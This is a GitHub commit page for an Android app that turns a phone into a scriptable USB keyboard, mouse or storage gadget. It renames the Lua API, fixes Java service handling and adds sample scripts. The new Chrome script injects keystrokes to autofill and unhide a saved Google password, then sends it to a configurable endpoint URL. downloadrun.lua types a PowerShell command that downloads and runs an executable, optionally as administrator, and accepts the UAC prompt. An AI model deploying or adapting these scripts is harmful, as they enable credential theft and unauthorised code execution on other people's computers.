Skip to content

Commit dc54975

Browse files
committed
usb: fix some service hanging issues
- change the api a bit to be nicer - more error checking - fix hid string shift bug - add some more sample scripts
1 parent 9225a51 commit dc54975

File tree

18 files changed

+323
-133
lines changed

18 files changed

+323
-133
lines changed

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,9 @@ while true do
5353
end
5454
```
5555

56+
Several other sample scripts are
57+
[included in the repository](https://github.com/Netdex/android-usb-script/tree/master/app/src/main/assets/scripts).
58+
5659
## Requirements
5760
**This app will not work on every Android device.** If your Android OS has Linux Kernel
5861
version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
---
2+
--- expose saved Google account password from Chrome
3+
---
4+
5+
usb = luausb.create({ id = 0, type = "keyboard" })
6+
kb = usb.dev[1]
7+
8+
-- This URL will be visited with the captured password appended to the end
9+
local endpoint = prompt("Endpoint querystring", "https://localhost/index.php?q=")
10+
11+
while true do
12+
print("idle")
13+
14+
-- poll until usb plugged in
15+
while usb.state() == "not attached" do
16+
wait(1000)
17+
end
18+
19+
print("running")
20+
-- wait 1 second for things to settle down
21+
wait(1000)
22+
23+
-- open chrome
24+
kb.chord(MOD_LSUPER, KEY_R)
25+
wait(1000)
26+
kb.string("chrome\n")
27+
wait(2000)
28+
29+
-- open incognito window
30+
kb.chord({ MOD_LCTRL, MOD_LSHIFT }, KEY_N)
31+
wait(2000)
32+
33+
-- navigate to login page
34+
kb.string("accounts.google.com\n")
35+
wait(2000)
36+
37+
-- autofill username and continue
38+
kb.press(KEY_DOWN)
39+
wait(100)
40+
kb.press(KEY_ENTER)
41+
wait(100)
42+
kb.press(KEY_ENTER)
43+
wait(2000)
44+
45+
-- autofill password
46+
kb.press(KEY_DOWN)
47+
wait(100)
48+
kb.press(KEY_DOWN)
49+
wait(100)
50+
kb.press(KEY_ENTER)
51+
wait(100)
52+
-- unhide password
53+
kb.press(KEY_TAB)
54+
wait(100)
55+
kb.press(KEY_ENTER)
56+
wait(100)
57+
-- copy password to clipboard
58+
kb.chord(MOD_LSHIFT, KEY_TAB)
59+
wait(100)
60+
kb.chord(MOD_LCTRL, KEY_C)
61+
wait(100)
62+
63+
-- open new tab and navigate to query string with captured password
64+
kb.chord(MOD_LCTRL, KEY_T)
65+
wait(1000)
66+
kb.string(endpoint)
67+
kb.chord(MOD_LCTRL, KEY_V)
68+
kb.press(KEY_ENTER)
69+
wait(2000)
70+
71+
-- close everything we opened
72+
kb.chord(MOD_LALT, KEY_F4)
73+
wait(1000)
74+
kb.chord(MOD_LALT, KEY_F4)
75+
wait(1000)
76+
77+
print("done")
78+
-- poll until usb unplugged
79+
while usb.state() == "configured" do
80+
wait(1000)
81+
end
82+
print("disconnected")
83+
end
84+

app/src/main/assets/scripts/composite.lua

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,30 +7,30 @@ kb1 = usb.dev[1]
77
kb2 = usb.dev[2]
88

99
while true do
10-
usb.log("idle")
10+
print("idle")
1111

1212
-- poll until usb plugged in
1313
while usb.state() == "not attached" do
14-
usb.delay(1000)
14+
wait(1000)
1515
end
1616

17-
usb.log("running")
18-
usb.delay(1000)
17+
print("running")
18+
wait(1000)
1919

2020
-- send a string from keyboard 1
2121
kb1.send_string("kb1")
22-
usb.delay(1000)
22+
wait(1000)
2323
-- send a string from keyboard 2
2424
kb2.send_string("kb2")
2525

26-
usb.log("done")
26+
print("done")
2727

2828
-- poll until usb unplugged
2929
while usb.state() == "configured" do
30-
usb.delay(1000)
30+
wait(1000)
3131
end
3232

33-
usb.log("disconnected")
33+
print("disconnected")
3434

35-
usb.delay(1000)
35+
wait(1000)
3636
end

app/src/main/assets/scripts/downloadrun.lua

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -6,42 +6,42 @@
66
usb = luausb.create({ id = 0, type = "keyboard" })
77
kb = usb.dev[1]
88

9-
local file = usb.ask("File to download?", "https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe")
10-
local runAs = usb.should("Task UAC", "Launch exe as admin?");
9+
local file = prompt("File to download?", "https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe")
10+
local runAs = confirm("Task UAC", "Launch exe as admin?");
1111

1212
while true do
13-
usb.log("idle")
13+
print("idle")
1414

1515
-- poll until usb plugged in
1616
while usb.state() == "not attached" do
17-
usb.delay(1000)
17+
wait(1000)
1818
end
1919

20-
usb.log("running")
21-
usb.delay(1000)
20+
print("running")
21+
wait(1000)
2222

23-
usb.log("opening powershell, runAs=" .. tostring(runAs))
23+
print("opening powershell, runAs=" .. tostring(runAs))
2424
if runAs then
2525
-- when running elevated prompt sometimes it pops in background, so we need
2626
-- to go to the desktop
27-
kb.press_keys(MOD_LSUPER, KEY_D)
28-
usb.delay(500)
29-
kb.press_keys(MOD_LSUPER, KEY_R)
30-
usb.delay(2000)
31-
kb.send_string("powershell Start-Process powershell -Verb runAs\n")
32-
usb.delay(3000)
33-
kb.press_keys(MOD_LALT, KEY_Y)
34-
usb.delay(2000)
27+
kb.chord(MOD_LSUPER, KEY_D)
28+
wait(500)
29+
kb.chord(MOD_LSUPER, KEY_R)
30+
wait(2000)
31+
kb.string("powershell Start-Process powershell -Verb runAs\n")
32+
wait(3000)
33+
kb.chord(MOD_LALT, KEY_Y)
34+
wait(2000)
3535
else
36-
kb.press_keys(MOD_LSUPER, KEY_R)
37-
usb.delay(2000)
38-
kb.send_string("powershell\n")
39-
usb.delay(2000)
36+
kb.chord(MOD_LSUPER, KEY_R)
37+
wait(2000)
38+
kb.string("powershell\n")
39+
wait(2000)
4040
end
4141

42-
usb.log("download + execute code")
42+
print("download + execute code")
4343

44-
kb.send_string(
44+
kb.string(
4545
"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$d=New-Object System.Net.WebClient;" ..
4646
"$u='" .. file .. "';" ..
4747
"$f=\"$Env:Temp\\a.exe\";$d.DownloadFile($u,$f);" ..
@@ -50,11 +50,11 @@ while true do
5050
"exit;\n"
5151
)
5252

53-
usb.log("done")
53+
print("done")
5454
-- poll until usb unplugged
5555
while usb.state() == "configured" do
56-
usb.delay(1000)
56+
wait(1000)
5757
end
58-
usb.log("disconnected")
58+
print("disconnected")
5959
end
6060

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
---
2+
--- Copy a file from the system to a mass storage gadget
3+
---
4+
usb = luausb.create({ id = 0, type = "keyboard"}, {id = 0, type = "storage" })
5+
kb = usb.dev[1]
6+
7+
local LABEL = "MY_DRIVE_LABEL" -- label of the drive (as assigned by you)
8+
9+
while true do
10+
print("idle")
11+
12+
-- poll until usb plugged in
13+
while usb.state() == "not attached" do
14+
wait(1000)
15+
end
16+
17+
print("running")
18+
-- wait 1 second for things to settle down
19+
wait(1000)
20+
21+
kb.chord(MOD_LSUPER, KEY_R)
22+
wait(1000)
23+
kb.string("powershell\n")
24+
wait(2000)
25+
kb.string("$drive = Get-WmiObject -Class Win32_LogicalDisk -Filter \"VolumeName='" .. LABEL .. "'\" | Select -Expand DeviceID\n")
26+
27+
print("done")
28+
-- poll until usb unplugged
29+
while usb.state() == "configured" do
30+
wait(1000)
31+
end
32+
print("disconnected")
33+
end
34+
Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,9 @@
11
---
2-
--- Generated by EmmyLua(https://github.com/EmmyLua)
3-
--- Created by netdex.
4-
--- DateTime: 11/16/2020 10:47 AM
2+
--- a simple default mass storage device
53
---
64

75
usb = luausb.create({ id = 0, type = "storage" })
86

97
while true do
10-
usb.delay(1000)
8+
wait(1000)
119
end

app/src/main/assets/scripts/mouse.lua

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,5 +6,5 @@ while true do
66
ms1.click(BTN_LEFT)
77
ms1.move(30, 0)
88
ms1.scroll(128)
9-
usb.delay(1000)
9+
wait(1000)
1010
end
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
usb = luausb.create({ id = 0, type = "keyboard" })
2+
kb = usb.dev[1]
3+
4+
while true do
5+
wait(1000)
6+
end

app/src/main/assets/scripts/wallpaper.lua

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -5,24 +5,24 @@
55
usb = luausb.create({ id = 0, type = "keyboard" })
66
kb = usb.dev[1]
77

8-
local file = usb.ask("Wallpaper to download?", "https://i.imgur.com/46wWHZ3.png")
8+
local file = prompt("Wallpaper to download?", "https://i.imgur.com/46wWHZ3.png")
99

1010
while true do
11-
usb.log("idle")
11+
print("idle")
1212

1313
-- poll until usb plugged in
1414
while usb.state() == "not attached" do
15-
usb.delay(1000)
15+
wait(1000)
1616
end
1717

18-
usb.log("running")
19-
usb.delay(1000)
18+
print("running")
19+
wait(1000)
2020

21-
kb.press_keys(MOD_LSUPER, KEY_R)
22-
usb.delay(2000)
23-
kb.send_string("powershell\n")
24-
usb.delay(2000)
25-
kb.send_string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
21+
kb.chord(MOD_LSUPER, KEY_R)
22+
wait(2000)
23+
kb.string("powershell\n")
24+
wait(2000)
25+
kb.string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
2626
"(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
2727
"Add-Type @\"\n" ..
2828
"using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
@@ -35,9 +35,9 @@ while true do
3535
"[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
3636
"exit\n")
3737

38-
usb.log("done")
38+
print("done")
3939
-- poll until usb unplugged
4040
while usb.state() == "configured" do
41-
usb.delay(1000)
41+
wait(1000)
4242
end
4343
end

app/src/main/java/org/netdex/hidfuzzer/MainActivity.java

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
import android.widget.Button;
1515
import android.widget.ScrollView;
1616
import android.widget.TextView;
17+
import android.widget.Toast;
1718

1819
import androidx.annotation.NonNull;
1920
import androidx.annotation.Nullable;
@@ -79,11 +80,15 @@ public String onPrompt(String title, String def) {
7980

8081
public void createLuaUsbService(LuaUsbTask task) {
8182
if (activeServiceConn_ != null) {
82-
terminateLuaUsbService();
83+
Toast.makeText(this, "A task is already running", Toast.LENGTH_SHORT).show();
84+
return;
8385
}
8486
Intent serviceIntent = new Intent(this, LuaUsbService.class);
8587
activeServiceConn_ =
86-
new LuaUsbServiceConnection(task, () -> handler_.post(() -> btnCancel_.setEnabled(false)));
88+
new LuaUsbServiceConnection(task, () -> {
89+
activeServiceConn_ = null;
90+
handler_.post(() -> btnCancel_.setEnabled(false)); // TODO need to unbind...
91+
});
8792
bindService(serviceIntent, activeServiceConn_, BIND_AUTO_CREATE);
8893
btnCancel_.setEnabled(true);
8994
}
@@ -92,7 +97,6 @@ public void terminateLuaUsbService() {
9297
if (activeServiceConn_ != null) {
9398
btnCancel_.setEnabled(false);
9499
unbindService(activeServiceConn_); // TODO this can cause ANR
95-
activeServiceConn_ = null;
96100
}
97101
}
98102

0 commit comments

Comments
 (0)